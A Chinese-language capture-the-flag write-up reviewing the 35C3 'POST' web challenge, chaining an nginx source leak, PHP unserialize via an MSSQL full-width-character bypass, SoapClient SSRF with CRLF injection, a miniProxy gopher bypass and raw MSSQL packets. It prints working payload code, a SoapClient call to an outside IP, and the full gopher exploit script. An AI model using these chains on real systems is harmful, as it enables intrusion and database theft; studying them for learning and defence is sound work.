35c3 POST复盘记录

栏目: 数据库 · SQL Server · 发布时间: 5年前

内容简介:之前看到了 35c3 的比赛,但是没时间打,看了看题,发现这个题还是不错的,单独拿出来学习一下[TOC]​ Go make some

之前看到了 35c3 的比赛,但是没时间打,看了看题,发现这个题还是不错的,单独拿出来学习一下

[TOC]

POST

Description

​ Go make some posts .

Hint: flag is in db

Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge

Hint3: You probably want to get the source code, luckily for you it’s rather hard to configure nginx correctly.

Attacking Steps

这里简述一下攻击链

  • nginx misconfiguration
  • arbitrary unserialize
  • SoapClient SSRF
  • SoapClient CRLF injection
  • miniProxy URL scheme bypass
  • Connect to MSSQL via gopher
  • Get flag

Hacking

Nginx Misconfiguration

根据 hint2 ,我们扫目录的时候可以发现

[00:42:47] Starting:
[00:42:47] 400 -  182B  - /%2e%2e/google.com
[00:42:52] 301 -  194B  - /inc  ->  http://localhost/inc/
[00:42:52] 403 -  580B  - /inc/config.inc
[00:42:52] 403 -  580B  - /inc/
[00:42:52] 403 -  580B  - /inc/fckeditor
[00:42:52] 403 -  580B  - /inc/fckeditor/
[00:42:52] 403 -  580B  - /inc/tiny_mce
[00:42:52] 403 -  580B  - /inc/tiny_mce/
[00:42:52] 403 -  580B  - /inc/tinymce/
[00:42:52] 403 -  580B  - /inc/tinymce
[00:42:52] 302 -    0B  - /index.php  ->  /?page=login
[00:42:56] 403 -  580B  - /uploads
[00:42:56] 403 -  580B  - /uploads/

Task Completed

uploads 处发现了两处 403 的地方,而且服务器是 Nginx,而且拿其他一些扫描器也报了目录列举的洞

可以参考 Nginx不安全配置可能导致的安全漏洞三个案例看Nginx配置安全

35c3 POST复盘记录

下载得到源码

Arbitrary Unserialize I

我们可以很明显地在 db.php 中发现反序列化的影子

private static function prepare_params($params) {
    return array_map(function($x){
        if (is_object($x) or is_array($x)) {
            return '$serializedobject$' . serialize($x);
        }
        if (preg_match('/^\$serializedobject\$/i', $x)) {
            die("invalid data");
            return "";
        }
        return $x;
    }, $params);
}

private static function retrieve_values($res) {
    $result = array();
    while ($row = sqlsrv_fetch_array($res)) {
        $result[] = array_map(function($x){
            return preg_match('/^\$serializedobject\$/i', $x) ?
                unserialize(substr($x, 18)) : $x;
        }, $row);
    }
    return $result;
}

这里还是比较明显的,但是要怎么构造这个 POP 链呢,我看了一下不是特别明显,也是涉及到了 soapclient 的构造与利用。而且整个构造也需要比较耐心来看,否则会陷入复现都比较懵逼的情况。

首先有反序列化的点,肯定需要有利用的类,否则光有反序列化的点,没有利用的类也没什么用。所以接下来我们需要去找一个可以利用的类。

ByPass Mssql

虽然确定了有反序列化漏洞,但是触发反序列化的条件就是

preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x;

虽然前面插入数据有给数据增加 $serializedobject$ 的地方,但是这里需要数组或者对象,而我们传入的只能是字符串,所以不能利用这个点。

这里怎么绕过对 /^\$serializedobject\$/i 的正则判断呢?这里就需要用到 Mssql 的一个特性了。

​ MSSQL converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.

也就是说, MSSQL会自动将全角unicode字符转换为ASCII表示形式。 例如,如果字符串包含 0xEF 0xBC 0x84 ,则将其存储为 $$s℮rializedobject$ 入库后会变成 $serializedobject$ ,注意前者的 ℮ 不是 ASCII 的 e,整个字符串的 16 进制如下,可见前者的 ℮ 的 hex 是 E284AE,而后者 e 的 ASCII 是 0x65。

所以我们可以利用这个特性进行绕过,可以用 burp 直接修改十六进制来操作

Soapclient

这里我们简单讲一下 soapclient

​ public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

This constructor creates SoapClient objects in WSDL or non-WSDL mode.

这是一个 php 的内部类,简单来说就是用来创建 soap 数据报文,与 wsdl 接口进行交互的。

35c3 POST复盘记录

其中 __call 的魔术方法就比较有意思了

​ SoapClient::__call

> public SoapClient::__call ( string $function_name , array $arguments ) : mixed
>

Calling this method directly is deprecated. Usually, SOAP functions can be called as methods of the SoapClient object; in situations where this is not possible or additional options are needed, use SoapClient::__soapCall() .

当 SoapClient 建立的时候就会调用这个魔术方法。而且还有一点小特性

​ 当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。
__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法

比如我们以下代码:

<?php
$a = new SoapClient(null, array('location' => "http://106.14.153.173:2015",'uri'=> "123"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->hack();
?>

当我们直接运行这段代码的时候,就因为调用了一个 SoapClient 不存在的方法 hack() 导致直接调用了 __call() 魔术方法

35c3 POST复盘记录

详细可以参考 N1CTF Easy&&Hard Php Writeup

####Arbitrary Unserialize II

好的,我们简单的介绍完了 soapclient ,接下来我们可以比较明显的看到在 post.php 处有一处类的方法的调用

class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct($url) {
        $this->url = $url;
        $this->mime = (new finfo)->file("../".$url);
        if (substr($this->mime, 0, 11) == "Zip archive") {
            $this->mime = "Zip archive";
            $this->za = new ZipArchive;
        }
    }

    public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }
}

就是在 this->za->open() 处,我们可以充分利用 SoapClient 的特点进行构造,然而我们需要触发 Attachment 这个类的 __toString() 魔术方法,则需要一个 echo 的地方,然后发现在 default.php 这里有比较好的利用的点

<?php 
include 'inc/post.php';
?>
<?php
    if (isset($_POST["title"])) {
        $attachments = array();
        if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {
            
            $folder = sha1(random_bytes(10));
            mkdir("../uploads/$folder");
            for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
                if ($_FILES["attach"]["error"][$i] !== 0) continue;
                $name = basename($_FILES["attach"]["name"][$i]);
                move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
                $attachments[] = new Attachment("/uploads/$folder/$name");
            }
        }
        $post = new Post($_POST["title"], $_POST["content"], $attachments);
        $post->save();
    }
    if (isset($_GET["action"])) {
        if ($_GET["action"] == "restart") {
            Post::truncate();
            header("Location: /");
            die;
        } else {
?>
<?php 
            }
    }

    $posts = Post::loadall();
    if (empty($posts)) {
        echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
    } else {
        echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
    }

    foreach($posts as $p) {
        echo $p;
        echo "<br><br>";
    }  
?>

而且在 post.php 中, class Post 还存在一个这个魔术方法,其中把 $attach 拼接到了字符串当中,所以这里是先调用了 Post 类的 __toString 魔术方法,紧接着调用 Attachment 类的 __toString 魔术方法,也就可以调用到了 $this->za->open() 的方法。

public function __construct($title, $content, $attachments="") {
    $this->title = $title;
    $this->content = $content;
    $this->attachment = $attachments;
}

public function save() {
    global $USER;
    if (is_null($this->id)) {
        DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", 
                   array($USER->uid, $this->title, $this->content, $this->attachment));
    } else {
        DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
                  array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
    }
}

public function __toString() {
    $str = "<h2>{$this->title}</h2>";
    $str .= $this->content;
    $str .= "<hr>Attachments:<br><il>";
    foreach ($this->attachment as $attach) {
        $str .= "<li>$attach</li>";
    }
    $str .= "</il>";
    return $str;
}

而我们看 Post::loadall() ,我们可以发现

public static function load($id) {
    global $USER;
    $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
                     array($USER->uid, $id));
    if (!$res) die("db error");
    $res = $res[0];
    $post = new Post($res["title"], $res["content"], $res["attachment"]);
    $post->id = $id;
    return $post;
}

public static function loadall() {
    global $USER;
    $result = array();
    $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
    if (!$posts) return $result;
    foreach ($posts as $p) {
        $result[] = Post::load($p["id"]);
    }
    return $result;
}

loadall() 方法会逐个通过 id 调用 load() 方法,根据前面的 Post 构造方法与 save() 方法,我们可以找到保存 attachment 的方式。其实这里因为 echo 输出的是 $post['title']$post['content'] ,所以我们也可以放在这两者中,都会触发 __toString 的魔术方法

所以大概的流程就是我们通过构造好一个 SoapClient 的 payload ,插入之后访问 default.php 触发 echo ,调用 $this->za->open() ,接着触发 SoapClient__call() 魔术函数完成一次反序列化攻击。

因为 echo 直接调用了反序列化的 __toString 魔术方法,我们可以直接利用 Attachment 这个类来构造 payload

class Attachment {
    private $za = NULL;
    public function __construct() {
            $this->za = new SoapClient(null,array('location'=>'http://106.14.153.173:2015','uri'=>'123'));   
    }
}
$c=new Attachment();
$aaa=serialize($c);
echo $aaa."\n";
echo base64_encode($aaa)."\n";

利用反序列化的特点,我们可以直接定义私有变量的值,但是字符串中会有不可见字符,实验如下

35c3 POST复盘记录

所以我们需要用 base64_encode 进行编码,把编码得到的字符串再在 burp 里面进行解码构造请求。

35c3 POST复盘记录

SoapClient SSRF

根据 hint1 ,flag 在数据库里,源码中含有数据库信息,因此我们可以利用 SoapClient 通过 SSRF 打 MSSQL。而题目也给我们提供了 miniProxy.php ,我们可以在 github 上可以看到相关使用说明

​ miniProxy should be able to run on any web server with PHP 5.4.7 or later. miniProxy requires PHP’s curl and mbstring extensions to be installed.

大概就是一个可以让我们访问内部服务的工具。然后我们根据备份文件 default.backup 得到

server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }
    
}

当我们请求 8080 的时候,请求的是 miniProxy,但是只能用 GET 请求,而我们之前可以发现 SoapClient 只能发 POST 请求

35c3 POST复盘记录

这里大概思路也比较清晰了,就是利用 miniProxy 使用 gopher 协议去访问 mssql 数据库拿到 flag ,但是怎么处理让 SoapClient 发送 GET 请求呢?

####SoapClient CRLF injection

发送 GET 请求我们就不得不又用到 SoapClient 的另一个选项

options

An array of options. If working in WSDL mode, this parameter is optional. If working in non-WSDL mode, the location and uri options must be set, where location is the URL of the SOAP server to send the request to, and uri is the target namespace of the SOAP service.

The user_agent option specifies string to use in User-Agent header.

而且在 header 里 User-AgentContent-Type 前面,这里我们可以使用 CRLF 进行分隔请求,构造 GET 请求。

35c3 POST复盘记录

miniProxy URL scheme bypass

我们自己本地看看 MiniProxy 怎么用。

35c3 POST复盘记录

随便测一个 file:///etc/passwd ,返回

Error: Detected a "file" URL. miniProxy exclusively supports http[s] URLs.

然后我们定位到代码区

$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
  //Assume that any supplied URLs starting with // are HTTP URLs.
  if (strpos($url, "//") === 0) {
    $url = "http:" . $url;
  }
} else if (!preg_match("/^https?$/i", $scheme)) {
    die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}

发现是这个地方有个正则判断,开头必须以 https 或者 http ,然而我们需要用到 gopher 协议,就需要绕过这里。这里也就需要一个小 trick 了

$scheme = parse_url($url, PHP_URL_SCHEME);	// 遇到 gopher:/// 时会解析失败,返回false
empty($scheme)								// empty(false) 为 true

这样我们就可以使用 gopher:/// 绕过 die 的限制执行下面的 $response = makeRequest($url); 请求函数了。

这里也可以使用一个 301 进行跳转。

Connect to MSSQL via gopher

怎么构造gopher包呢,这是个比较麻烦的事,之前在另外一个比赛上用 tcpdump 抓自己的 mysql 的数据包然后进行 gopher ,这里也是类似的。这里就不再做了,直接拿官方给的 exp 看看吧。

// the prelogin and login packets can either be assembled
// by hand if you are into that kind of stuff.
// or you can just use wireshark :)
$prelogin_packet  = "\x12\x01\x00\x2f\x00\x00\x01\x00";
$prelogin_packet .= "\x00\x00\x1a\x00\x06\x01\x00\x20";
$prelogin_packet .= "\x00\x01\x02\x00\x21\x00\x01\x03";
$prelogin_packet .= "\x00\x22\x00\x04\x04\x00\x26\x00";
$prelogin_packet .= "\x01\xff\x00\x00\x00\x01\x00\x01";
$prelogin_packet .= "\x02\x00\x00\x00\x00\x00\x00";

$login_packet  = "\x10\x01\x00\xde\x00\x00\x01\x00";
$login_packet .= "\xd6\x00\x00\x00\x04\x00\x00\x74";
$login_packet .= "\x00\x10\x00\x00\x00\x00\x00\x00";
$login_packet .= "\x54\x30\x00\x00\x00\x00\x00\x00";
$login_packet .= "\xe0\x00\x00\x08\xc4\xff\xff\xff";
$login_packet .= "\x09\x04\x00\x00\x5e\x00\x07\x00";
$login_packet .= "\x6c\x00\x0a\x00\x80\x00\x08\x00";
$login_packet .= "\x90\x00\x0a\x00\xa4\x00\x09\x00";
$login_packet .= "\xb6\x00\x00\x00\xb6\x00\x07\x00";
$login_packet .= "\xc4\x00\x00\x00\xc4\x00\x09\x00";
$login_packet .= "\x01\x02\x03\x04\x05\x06\xd6\x00";
$login_packet .= "\x00\x00\xd6\x00\x00\x00\xd6\x00";
$login_packet .= "\x00\x00\x00\x00\x00\x00\x61\x00";
$login_packet .= "\x77\x00\x65\x00\x73\x00\x6f\x00";
$login_packet .= "\x6d\x00\x65\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00\x72\x00";
$login_packet .= "\xc1\xa5\x53\xa5\x53\xa5\x83\xa5";
$login_packet .= "\xb3\xa5\x82\xa5\xb6\xa5\xb7\xa5";
$login_packet .= "\x6e\x00\x6f\x00\x64\x00\x65\x00";
$login_packet .= "\x2d\x00\x6d\x00\x73\x00\x73\x00";
$login_packet .= "\x71\x00\x6c\x00\x6c\x00\x6f\x00";
$login_packet .= "\x63\x00\x61\x00\x6c\x00\x68\x00";
$login_packet .= "\x6f\x00\x73\x00\x74\x00\x54\x00";
$login_packet .= "\x65\x00\x64\x00\x69\x00\x6f\x00";
$login_packet .= "\x75\x00\x73\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00";


// need to add a ;-- - to execute the query successfully,
// because gopher adds a \x0d\x0a to the end of the request
// and for some reaason the query does not execute if we don't
// comment that out
$query = $argv[1] . ";-- -";
$query = mb_convert_encoding($query, "utf-16le");

// the length of the packet is the length of the query +
// the length of the header (30 bytes) + the \x0d\x0a added
// by gopher protocol
$length = strlen($query) + 30 + 2;
$query_packet  = "\x01\x01" . pack("n", $length) . "\x00\x00\x01\x00";
$query_packet .= "\x16\x00\x00\x00\x12\x00\x00\x00";
$query_packet .= "\x02\x00\x00\x00\x00\x00\x00\x00";
$query_packet .= "\x00\x00\x01\x00\x00\x00";
$query_packet .= $query;

$payload = $prelogin_packet . $login_packet . $query_packet;

可以看到这里需要加入一个 ;-- - ,是为了注释掉 \x0a\x0a ,这是 gopher 自动添加的内容,不然 query 无法成功执行。

Get Flag

基本的利用点都分析完了,最后这道题还比较良心地在 bootstrap.php 中设置了

if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER);

可以看到自己的 UID

这个可以用来干嘛呢?当然是用来注入了啦,直接在自己的 post 中获取相关的信息

insert into posts (userid, title, content, attachment) values ({}, "foobar", (select flag from flag.flag), "foobar");

35c3 POST复盘记录

35c3 POST复盘记录

Conclusion

整个复现完还是感觉比较有难度的,特别是整个构造链都比较有意思。通过 SoapClient 反序列化到 gopher SSRF 到 CRLF 再到 Get Flag,整个流程需要的技巧以及对自己的能力要求比较高,整体下来学习了不少。主要都是与 SoapClient 相关,还是比较 Nice 的题目,也重新认识了反序列化漏洞。整体都比较赞。

php — Bonus

Description

​ PHP’s unserialization mechanism can be exceptional.

给个 bonus 吧,也算是一道简单的序列化题目

<?php
$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B {
    function __destruct() {
        global $flag;
        echo $flag;
    }
}

$a = @unserialize($line);
throw new Exception('Well that was unexpected…');
echo $a;
?>

Hacking

Php 正常的类调用析构函数一般会在脚本结束的时候,然而这里要想拿到 flag ,就需要调用析构函数。然而 unserialize 正常解析类的时候不会调用析构函数,但是当解析出错的时候,如果类名是正确的,就会调用这个类的析构函数,比如正常序列化出来的类是这样的 O:1:"B":0:{} ,只要我们让他解析出错就可以调用析构函数了,所以以下随便用一个就好了

O:1:"B":0:{
O:1:"B":1:{}

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

JavaScript修炼之道

JavaScript修炼之道

波顿纽威 / 巩朋、张铁 / 人民邮电 / 2011-11 / 29.00元

《JavaScript修炼之道》是JavaScript的实战秘籍。作者将自己多年的编程经验融入其中,不仅可以作为学习之用,更是日常JavaScript开发中不可多得的参考手册,使读者少走很多弯路。《JavaScript修炼之道》的内容涵盖了当今流行的JavaScript库的运行机制,也提供了许多应用案例。《JavaScript修炼之道》针对各任务采取对页式编排,在对各任务的讲解中,左页解释了任务的......一起来看看 《JavaScript修炼之道》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

SHA 加密
SHA 加密

SHA 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具